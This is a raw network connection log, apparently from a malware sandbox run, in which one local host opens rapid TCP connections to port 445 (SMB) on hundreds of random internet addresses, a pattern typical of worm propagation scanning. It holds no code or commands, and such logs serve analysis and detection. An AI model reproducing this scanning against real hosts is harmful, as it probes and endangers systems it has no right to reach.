Jul 20, 2022 19:33:36.789057016 CEST	58356	445	192.168.2.7	34.215.88.245
Jul 20, 2022 19:33:36.789400101 CEST	58366	445	192.168.2.7	5.109.140.77
Jul 20, 2022 19:33:36.789589882 CEST	58371	445	192.168.2.7	2.97.132.103
Jul 20, 2022 19:33:36.789774895 CEST	58374	445	192.168.2.7	182.66.3.243
Jul 20, 2022 19:33:36.790194988 CEST	58377	445	192.168.2.7	218.161.123.77
Jul 20, 2022 19:33:36.790311098 CEST	58378	445	192.168.2.7	193.43.5.238
Jul 20, 2022 19:33:36.790671110 CEST	58386	445	192.168.2.7	158.64.124.75
Jul 20, 2022 19:33:36.790776014 CEST	58387	445	192.168.2.7	215.53.23.57
Jul 20, 2022 19:33:36.790996075 CEST	58389	445	192.168.2.7	175.231.242.45
Jul 20, 2022 19:33:36.791075945 CEST	58390	445	192.168.2.7	35.61.78.50
Jul 20, 2022 19:33:36.791471004 CEST	58393	445	192.168.2.7	75.5.208.190
Jul 20, 2022 19:33:36.791546106 CEST	58394	445	192.168.2.7	65.142.101.124
Jul 20, 2022 19:33:37.139337063 CEST	58400	445	192.168.2.7	51.158.189.100
Jul 20, 2022 19:33:37.145806074 CEST	58410	445	192.168.2.7	42.6.133.29
Jul 20, 2022 19:33:37.245788097 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.264533997 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.264625072 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.264797926 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.286314964 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.286355972 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.286375046 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.286454916 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.286546946 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.286788940 CEST	58412	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:37.307399988 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.307424068 CEST	445	58412	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:37.354981899 CEST	58413	445	192.168.2.7	160.242.218.154
Jul 20, 2022 19:33:37.356126070 CEST	58415	445	192.168.2.7	171.119.59.254
Jul 20, 2022 19:33:37.357184887 CEST	58417	445	192.168.2.7	212.44.130.241
Jul 20, 2022 19:33:37.358665943 CEST	58418	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.361021042 CEST	58420	445	192.168.2.7	162.142.159.237
Jul 20, 2022 19:33:37.362517118 CEST	58423	445	192.168.2.7	67.3.25.253
Jul 20, 2022 19:33:37.363586903 CEST	58425	445	192.168.2.7	205.219.229.84
Jul 20, 2022 19:33:37.364259005 CEST	58426	445	192.168.2.7	90.77.106.88
Jul 20, 2022 19:33:37.364789963 CEST	58427	445	192.168.2.7	79.45.79.81
Jul 20, 2022 19:33:37.365293980 CEST	58428	445	192.168.2.7	136.78.54.33
Jul 20, 2022 19:33:37.367331982 CEST	58432	445	192.168.2.7	107.132.234.59
Jul 20, 2022 19:33:37.368346930 CEST	58434	445	192.168.2.7	145.53.20.235
Jul 20, 2022 19:33:37.375475883 CEST	445	58418	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.375643015 CEST	58418	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.421354055 CEST	58418	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.429133892 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.440416098 CEST	445	58418	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.440509081 CEST	58418	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.449409008 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.449554920 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.449786901 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.468384981 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.468507051 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.468565941 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.468617916 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.468729019 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.469003916 CEST	58436	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:37.485285044 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.485467911 CEST	445	58436	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:37.517735004 CEST	58443	445	192.168.2.7	121.3.139.46
Jul 20, 2022 19:33:37.518318892 CEST	58444	445	192.168.2.7	131.153.221.80
Jul 20, 2022 19:33:37.550762892 CEST	58447	445	192.168.2.7	78.219.26.30
Jul 20, 2022 19:33:38.401771069 CEST	58448	445	192.168.2.7	51.158.189.101
Jul 20, 2022 19:33:38.403844118 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.403889894 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.403996944 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.404831886 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.404864073 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.485805035 CEST	58451	445	192.168.2.7	83.37.173.214
Jul 20, 2022 19:33:38.495239019 CEST	58465	445	192.168.2.7	16.16.147.234
Jul 20, 2022 19:33:38.495987892 CEST	58466	445	192.168.2.7	58.46.223.132
Jul 20, 2022 19:33:38.496704102 CEST	58467	445	192.168.2.7	217.38.207.55
Jul 20, 2022 19:33:38.499538898 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.499627113 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.837208986 CEST	58474	445	192.168.2.7	175.9.97.235
Jul 20, 2022 19:33:38.838583946 CEST	58476	445	192.168.2.7	48.250.23.236
Jul 20, 2022 19:33:38.840670109 CEST	58479	445	192.168.2.7	49.93.191.157
Jul 20, 2022 19:33:38.842230082 CEST	58481	445	192.168.2.7	210.60.64.98
Jul 20, 2022 19:33:38.843710899 CEST	58483	445	192.168.2.7	190.181.10.93
Jul 20, 2022 19:33:38.847225904 CEST	58484	445	192.168.2.7	205.50.237.141
Jul 20, 2022 19:33:38.848786116 CEST	58486	445	192.168.2.7	114.186.98.104
Jul 20, 2022 19:33:38.851305962 CEST	58489	445	192.168.2.7	153.179.185.23
Jul 20, 2022 19:33:38.852835894 CEST	58491	445	192.168.2.7	46.129.131.141
Jul 20, 2022 19:33:38.853584051 CEST	58492	445	192.168.2.7	96.33.85.95
Jul 20, 2022 19:33:38.854325056 CEST	58493	445	192.168.2.7	122.161.191.83
Jul 20, 2022 19:33:38.855055094 CEST	58494	445	192.168.2.7	137.33.205.166
Jul 20, 2022 19:33:38.857848883 CEST	58498	445	192.168.2.7	29.127.241.140
Jul 20, 2022 19:33:38.859549046 CEST	58500	445	192.168.2.7	198.148.101.201
Jul 20, 2022 19:33:38.862557888 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.862597942 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.862870932 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.864291906 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.864384890 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.864398956 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.864639997 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.872952938 CEST	58512	445	192.168.2.7	60.70.202.146
Jul 20, 2022 19:33:38.874488115 CEST	58514	445	192.168.2.7	191.103.101.48
Jul 20, 2022 19:33:38.875313044 CEST	58515	445	192.168.2.7	191.94.33.183
Jul 20, 2022 19:33:38.891623020 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.891716957 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.891884089 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.956263065 CEST	58449	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:38.956300020 CEST	443	58449	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:38.957417965 CEST	58516	445	192.168.2.7	121.3.139.47
Jul 20, 2022 19:33:38.958158016 CEST	58517	445	192.168.2.7	131.153.221.81
Jul 20, 2022 19:33:38.959544897 CEST	58519	445	192.168.2.7	194.75.188.67
Jul 20, 2022 19:33:38.964000940 CEST	58526	445	192.168.2.7	34.10.99.239
Jul 20, 2022 19:33:38.964992046 CEST	58527	445	192.168.2.7	108.137.174.247
Jul 20, 2022 19:33:38.968363047 CEST	58532	445	192.168.2.7	35.180.180.137
Jul 20, 2022 19:33:38.977205038 CEST	58540	445	192.168.2.7	80.101.247.165
Jul 20, 2022 19:33:38.979986906 CEST	58544	445	192.168.2.7	22.243.175.192
Jul 20, 2022 19:33:39.024024010 CEST	445	58500	198.148.101.201	192.168.2.7
Jul 20, 2022 19:33:39.703969002 CEST	58500	445	192.168.2.7	198.148.101.201
Jul 20, 2022 19:33:39.869995117 CEST	445	58500	198.148.101.201	192.168.2.7
Jul 20, 2022 19:33:40.067054033 CEST	58546	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:40.126424074 CEST	445	58546	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:40.126600981 CEST	58546	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:40.165492058 CEST	58547	445	192.168.2.7	51.158.189.102
Jul 20, 2022 19:33:40.280766010 CEST	58546	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:40.342453003 CEST	445	58546	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:40.378855944 CEST	58549	445	192.168.2.7	121.3.139.48
Jul 20, 2022 19:33:40.379060984 CEST	58550	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.379539013 CEST	58560	445	192.168.2.7	160.6.186.25
Jul 20, 2022 19:33:40.379681110 CEST	58562	445	192.168.2.7	87.11.213.88
Jul 20, 2022 19:33:40.379879951 CEST	58565	445	192.168.2.7	206.116.44.7
Jul 20, 2022 19:33:40.380063057 CEST	58567	445	192.168.2.7	65.31.85.45
Jul 20, 2022 19:33:40.380192041 CEST	58568	445	192.168.2.7	181.115.206.90
Jul 20, 2022 19:33:40.380300999 CEST	58569	445	192.168.2.7	91.206.46.20
Jul 20, 2022 19:33:40.380553961 CEST	58574	445	192.168.2.7	191.125.137.170
Jul 20, 2022 19:33:40.380713940 CEST	58576	445	192.168.2.7	78.53.4.10
Jul 20, 2022 19:33:40.380953074 CEST	58580	445	192.168.2.7	169.204.251.172
Jul 20, 2022 19:33:40.381198883 CEST	58582	445	192.168.2.7	103.194.253.155
Jul 20, 2022 19:33:40.381335974 CEST	58585	445	192.168.2.7	106.205.6.63
Jul 20, 2022 19:33:40.381414890 CEST	58587	445	192.168.2.7	110.220.164.150
Jul 20, 2022 19:33:40.381582022 CEST	58589	445	192.168.2.7	140.23.36.246
Jul 20, 2022 19:33:40.381724119 CEST	58593	445	192.168.2.7	183.153.84.230
Jul 20, 2022 19:33:40.381818056 CEST	58594	445	192.168.2.7	140.184.41.167
Jul 20, 2022 19:33:40.381850004 CEST	58595	445	192.168.2.7	213.219.210.165
Jul 20, 2022 19:33:40.382424116 CEST	58609	445	192.168.2.7	131.152.38.106
Jul 20, 2022 19:33:40.382600069 CEST	58612	445	192.168.2.7	117.167.183.109
Jul 20, 2022 19:33:40.382906914 CEST	58619	445	192.168.2.7	150.246.103.183
Jul 20, 2022 19:33:40.382949114 CEST	58620	445	192.168.2.7	179.92.210.24
Jul 20, 2022 19:33:40.383205891 CEST	58625	445	192.168.2.7	97.12.51.223
Jul 20, 2022 19:33:40.383268118 CEST	58627	445	192.168.2.7	65.89.156.189
Jul 20, 2022 19:33:40.383311033 CEST	58628	445	192.168.2.7	162.38.211.87
Jul 20, 2022 19:33:40.383428097 CEST	58630	445	192.168.2.7	215.12.118.174
Jul 20, 2022 19:33:40.383550882 CEST	58634	445	192.168.2.7	99.168.161.31
Jul 20, 2022 19:33:40.383672953 CEST	58638	445	192.168.2.7	109.207.15.112
Jul 20, 2022 19:33:40.449793100 CEST	58645	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.470383883 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.488374949 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.488517046 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.488709927 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.505184889 CEST	445	58645	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:40.505336046 CEST	58645	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.505547047 CEST	58645	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.506030083 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.506061077 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.506218910 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.510432005 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.510602951 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.510926962 CEST	58646	445	192.168.2.7	45.60.207.22
Jul 20, 2022 19:33:40.516206026 CEST	58647	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.528369904 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.528419018 CEST	445	58646	45.60.207.22	192.168.2.7
Jul 20, 2022 19:33:40.536545992 CEST	445	58550	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:40.536648989 CEST	58550	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.536992073 CEST	58550	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.557296991 CEST	445	58645	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:40.557327032 CEST	445	58645	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:40.570934057 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.571147919 CEST	58649	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.576522112 CEST	445	58647	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:40.576693058 CEST	58647	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.576833963 CEST	58647	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:40.594471931 CEST	445	58649	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.594698906 CEST	58649	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.595186949 CEST	58649	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.601186037 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.612701893 CEST	445	58649	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.612783909 CEST	58649	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.618673086 CEST	445	58650	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.618833065 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.619040966 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.636082888 CEST	445	58650	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.636116028 CEST	445	58650	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.636135101 CEST	445	58650	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.636265993 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.636383057 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.636709929 CEST	58650	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:40.637228012 CEST	445	58647	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:40.653147936 CEST	445	58650	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:40.679050922 CEST	445	58620	179.92.210.24	192.168.2.7
Jul 20, 2022 19:33:40.694952011 CEST	445	58550	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:40.694967031 CEST	445	58550	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:40.730796099 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:40.730933905 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.731142998 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:40.890466928 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:40.890690088 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:41.050266027 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:41.050429106 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:41.210046053 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:41.211810112 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:41.219671011 CEST	58620	445	192.168.2.7	179.92.210.24
Jul 20, 2022 19:33:41.236160994 CEST	58651	445	192.168.2.7	51.158.189.103
Jul 20, 2022 19:33:41.369504929 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:41.369607925 CEST	58648	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:41.474314928 CEST	58653	445	192.168.2.7	121.3.139.49
Jul 20, 2022 19:33:41.518706083 CEST	445	58620	179.92.210.24	192.168.2.7
Jul 20, 2022 19:33:41.524082899 CEST	58658	445	192.168.2.7	16.193.50.119
Jul 20, 2022 19:33:41.524085045 CEST	58657	445	192.168.2.7	94.63.143.126
Jul 20, 2022 19:33:41.526103020 CEST	58661	445	192.168.2.7	149.113.224.176
Jul 20, 2022 19:33:41.526213884 CEST	58665	445	192.168.2.7	144.164.65.98
Jul 20, 2022 19:33:41.526325941 CEST	58667	445	192.168.2.7	20.92.87.215
Jul 20, 2022 19:33:41.526506901 CEST	58671	445	192.168.2.7	9.142.86.196
Jul 20, 2022 19:33:41.526725054 CEST	58678	445	192.168.2.7	31.179.151.77
Jul 20, 2022 19:33:41.526830912 CEST	58680	445	192.168.2.7	212.1.105.1
Jul 20, 2022 19:33:41.526971102 CEST	58682	445	192.168.2.7	3.59.158.243
Jul 20, 2022 19:33:41.527152061 CEST	58683	445	192.168.2.7	73.166.51.59
Jul 20, 2022 19:33:41.527170897 CEST	58687	445	192.168.2.7	164.176.16.139
Jul 20, 2022 19:33:41.527265072 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:41.527291059 CEST	58691	445	192.168.2.7	53.163.211.93
Jul 20, 2022 19:33:41.527350903 CEST	445	58648	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:41.527437925 CEST	58694	445	192.168.2.7	86.225.226.192
Jul 20, 2022 19:33:41.527477980 CEST	58695	445	192.168.2.7	221.179.186.238
Jul 20, 2022 19:33:41.527529001 CEST	58696	445	192.168.2.7	96.144.54.50
Jul 20, 2022 19:33:41.527563095 CEST	58697	445	192.168.2.7	120.227.94.127
Jul 20, 2022 19:33:41.551129103 CEST	58698	445	192.168.2.7	82.178.28.104
Jul 20, 2022 19:33:41.554022074 CEST	58710	445	192.168.2.7	122.10.176.155
Jul 20, 2022 19:33:41.556479931 CEST	58725	445	192.168.2.7	78.183.165.138
Jul 20, 2022 19:33:41.556556940 CEST	58726	445	192.168.2.7	203.235.253.77
Jul 20, 2022 19:33:41.556740046 CEST	58730	445	192.168.2.7	137.182.140.68
Jul 20, 2022 19:33:41.556858063 CEST	58732	445	192.168.2.7	39.194.110.3
Jul 20, 2022 19:33:41.556921005 CEST	58733	445	192.168.2.7	174.186.130.122
Jul 20, 2022 19:33:41.557017088 CEST	58735	445	192.168.2.7	181.54.84.3
Jul 20, 2022 19:33:41.557157993 CEST	58738	445	192.168.2.7	211.200.36.102
Jul 20, 2022 19:33:41.557349920 CEST	58742	445	192.168.2.7	216.164.109.208
Jul 20, 2022 19:33:41.557550907 CEST	58746	445	192.168.2.7	46.22.107.99
Jul 20, 2022 19:33:41.606904984 CEST	445	58680	212.1.105.1	192.168.2.7
Jul 20, 2022 19:33:41.701425076 CEST	445	58661	149.113.224.176	192.168.2.7
Jul 20, 2022 19:33:41.757663012 CEST	445	58653	121.3.139.49	192.168.2.7
Jul 20, 2022 19:33:42.163335085 CEST	58680	445	192.168.2.7	212.1.105.1
Jul 20, 2022 19:33:42.204128027 CEST	58661	445	192.168.2.7	149.113.224.176
Jul 20, 2022 19:33:42.242573023 CEST	445	58680	212.1.105.1	192.168.2.7
Jul 20, 2022 19:33:42.313597918 CEST	58653	445	192.168.2.7	121.3.139.49
Jul 20, 2022 19:33:42.315040112 CEST	58749	445	192.168.2.7	51.158.189.104
Jul 20, 2022 19:33:42.382890940 CEST	445	58661	149.113.224.176	192.168.2.7
Jul 20, 2022 19:33:42.552047014 CEST	58751	445	192.168.2.7	121.3.139.50
Jul 20, 2022 19:33:42.597058058 CEST	445	58653	121.3.139.49	192.168.2.7
Jul 20, 2022 19:33:42.655061007 CEST	58754	445	192.168.2.7	62.83.242.100
Jul 20, 2022 19:33:42.655244112 CEST	58761	445	192.168.2.7	211.89.142.93
Jul 20, 2022 19:33:42.655399084 CEST	58760	445	192.168.2.7	90.117.121.117
Jul 20, 2022 19:33:42.655401945 CEST	58765	445	192.168.2.7	117.107.111.19
Jul 20, 2022 19:33:42.655509949 CEST	58770	445	192.168.2.7	197.225.155.94
Jul 20, 2022 19:33:42.655582905 CEST	58771	445	192.168.2.7	141.75.54.90
Jul 20, 2022 19:33:42.659317970 CEST	58777	445	192.168.2.7	93.17.126.221
Jul 20, 2022 19:33:42.659790039 CEST	58778	445	192.168.2.7	148.241.60.33
Jul 20, 2022 19:33:42.660682917 CEST	58780	445	192.168.2.7	36.2.209.138
Jul 20, 2022 19:33:42.661148071 CEST	58781	445	192.168.2.7	52.28.216.167
Jul 20, 2022 19:33:42.663938999 CEST	58786	445	192.168.2.7	52.165.110.186
Jul 20, 2022 19:33:42.665805101 CEST	58790	445	192.168.2.7	116.172.64.117
Jul 20, 2022 19:33:42.666706085 CEST	58792	445	192.168.2.7	64.233.91.30
Jul 20, 2022 19:33:42.667164087 CEST	58793	445	192.168.2.7	91.212.244.140
Jul 20, 2022 19:33:42.667633057 CEST	58794	445	192.168.2.7	126.202.249.186
Jul 20, 2022 19:33:42.668101072 CEST	58795	445	192.168.2.7	72.108.60.233
Jul 20, 2022 19:33:42.685755014 CEST	58810	445	192.168.2.7	123.99.251.169
Jul 20, 2022 19:33:42.686474085 CEST	58811	445	192.168.2.7	199.75.22.53
Jul 20, 2022 19:33:42.690814972 CEST	58815	445	192.168.2.7	116.166.209.170
Jul 20, 2022 19:33:42.692145109 CEST	58817	445	192.168.2.7	14.109.62.219
Jul 20, 2022 19:33:42.692869902 CEST	58818	445	192.168.2.7	39.94.197.163
Jul 20, 2022 19:33:42.694214106 CEST	58820	445	192.168.2.7	83.225.38.136
Jul 20, 2022 19:33:42.696125984 CEST	58823	445	192.168.2.7	92.149.14.176
Jul 20, 2022 19:33:42.699068069 CEST	58827	445	192.168.2.7	20.55.201.160
Jul 20, 2022 19:33:42.722332954 CEST	58831	445	192.168.2.7	65.121.13.47
Jul 20, 2022 19:33:42.722922087 CEST	58833	445	192.168.2.7	134.41.200.42
Jul 20, 2022 19:33:42.723354101 CEST	58845	445	192.168.2.7	153.248.187.95
Jul 20, 2022 19:33:43.208928108 CEST	445	58845	153.248.187.95	192.168.2.7
Jul 20, 2022 19:33:43.392968893 CEST	58847	445	192.168.2.7	51.158.189.105
Jul 20, 2022 19:33:43.627084017 CEST	58848	445	192.168.2.7	121.3.139.51
Jul 20, 2022 19:33:43.644222975 CEST	58849	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:43.644949913 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.661505938 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.661761045 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.669627905 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.686126947 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.686152935 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.686167002 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.686321974 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.686470032 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.686831951 CEST	58850	445	192.168.2.7	45.60.207.23
Jul 20, 2022 19:33:43.701972008 CEST	445	58849	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:43.702152014 CEST	58849	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:43.702366114 CEST	58849	445	192.168.2.7	213.142.151.102
Jul 20, 2022 19:33:43.702832937 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.703212023 CEST	445	58850	45.60.207.23	192.168.2.7
Jul 20, 2022 19:33:43.753113985 CEST	58853	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.760153055 CEST	445	58849	213.142.151.102	192.168.2.7
Jul 20, 2022 19:33:43.771186113 CEST	445	58853	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.771368027 CEST	58853	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.779908895 CEST	58853	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.798810005 CEST	58854	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.800241947 CEST	445	58853	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.800348997 CEST	58853	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.802114010 CEST	58855	445	192.168.2.7	33.183.242.101
Jul 20, 2022 19:33:43.803868055 CEST	58859	445	192.168.2.7	218.253.175.40
Jul 20, 2022 19:33:43.803952932 CEST	58863	445	192.168.2.7	132.24.240.15
Jul 20, 2022 19:33:43.804047108 CEST	58865	445	192.168.2.7	26.84.104.147
Jul 20, 2022 19:33:43.804107904 CEST	58868	445	192.168.2.7	8.151.50.17
Jul 20, 2022 19:33:43.804256916 CEST	58873	445	192.168.2.7	124.237.119.225
Jul 20, 2022 19:33:43.804383039 CEST	58878	445	192.168.2.7	37.94.71.42
Jul 20, 2022 19:33:43.804464102 CEST	58880	445	192.168.2.7	11.54.105.22
Jul 20, 2022 19:33:43.804505110 CEST	58881	445	192.168.2.7	53.27.144.164
Jul 20, 2022 19:33:43.804677010 CEST	58886	445	192.168.2.7	204.164.77.56
Jul 20, 2022 19:33:43.804822922 CEST	58890	445	192.168.2.7	102.203.109.28
Jul 20, 2022 19:33:43.804878950 CEST	58892	445	192.168.2.7	144.33.215.212
Jul 20, 2022 19:33:43.804909945 CEST	58893	445	192.168.2.7	98.24.204.45
Jul 20, 2022 19:33:43.804991961 CEST	58895	445	192.168.2.7	153.55.101.125
Jul 20, 2022 19:33:43.805027008 CEST	58896	445	192.168.2.7	170.94.128.68
Jul 20, 2022 19:33:43.805164099 CEST	58897	445	192.168.2.7	41.164.25.154
Jul 20, 2022 19:33:43.813496113 CEST	58900	445	192.168.2.7	74.113.150.196
Jul 20, 2022 19:33:43.813532114 CEST	58901	445	192.168.2.7	158.237.237.109
Jul 20, 2022 19:33:43.817495108 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.817640066 CEST	58854	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.819477081 CEST	58854	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.823489904 CEST	58918	445	192.168.2.7	51.197.254.137
Jul 20, 2022 19:33:43.823582888 CEST	58922	445	192.168.2.7	179.27.57.3
Jul 20, 2022 19:33:43.823700905 CEST	58925	445	192.168.2.7	187.233.50.39
Jul 20, 2022 19:33:43.823781967 CEST	58928	445	192.168.2.7	31.47.122.251
Jul 20, 2022 19:33:43.823793888 CEST	58927	445	192.168.2.7	24.190.91.189
Jul 20, 2022 19:33:43.823875904 CEST	58931	445	192.168.2.7	16.215.242.194
Jul 20, 2022 19:33:43.824698925 CEST	58932	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.830108881 CEST	58933	445	192.168.2.7	82.25.22.23
Jul 20, 2022 19:33:43.837184906 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.837222099 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.837236881 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.837296009 CEST	58854	445	192.168.2.7	45.60.207.24
